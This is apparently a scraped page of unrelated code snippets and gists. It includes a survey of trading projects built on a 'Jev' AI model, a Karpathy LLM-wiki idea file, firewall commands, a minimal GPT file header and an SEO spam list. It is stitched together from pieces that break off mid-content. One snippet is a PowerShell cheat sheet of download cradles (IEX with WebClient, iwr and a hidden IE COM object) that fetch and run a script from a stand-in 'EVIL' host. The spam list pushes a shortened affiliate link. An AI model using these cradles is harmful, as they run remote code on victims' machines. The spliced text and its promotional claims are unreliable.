drillan

Jev (TypeSafe System One) — Finance & Trading Projects

Projects using Jev, TypeSafe AI's System One decision model (released 2026-09-15), in investment, trading, and financial-data contexts. Surveyed 2026-09-20 via GitHub API and community awesome-lists.

Reference project

• jarrodwatts/jev-trader (★1.3k, 2026-09-16) — One AI trade decision every Monad block (~300 ms). Jev reads the Kuru MON-USDC order book and answers buy or sell; the bot posts a post-only limit order one tick inside the touch, earning the spread. Bun/TypeScript, dry-run mode, SSE dashboard. The template most projects below derive from.

Live trading / trading systems

CMCDragonkai

HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

karpathy

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

mattiasghodsian

Port forwarding

Open ports (udp)

2456 2457 2458 27060

Uncomplicated Firewall

sudo ufw allow 2456/udp

karpathy

"""
The most atomic way to train and run inference for a GPT in pure, dependency-free Python.
This file is the complete algorithm.
Everything else is just efficiency.

@karpathy
"""

import os       # os.path.exists
import math     # math.log, math.exp

DomeniLocke

Best Instant Indexing Tools Compared by Speed, Price & Real Results (2026)

Choosing the best instant indexing tool is not only about speed. Many tools claim to get pages discovered quickly, but website owners need to compare them based on actual usefulness, pricing, workflow, reliability, and SEO value.

In 2026, instant indexing tools are widely used by bloggers, agencies, affiliate marketers, publishers, and eCommerce websites that want faster URL discovery.

Best Instant Indexing Tools You Should Go For

1. Rocket Indexer – https://snipr.is/Cq8vwDP 👈🏻 Click Here
2. 2minuteindex.com – 👈🏻 Click Here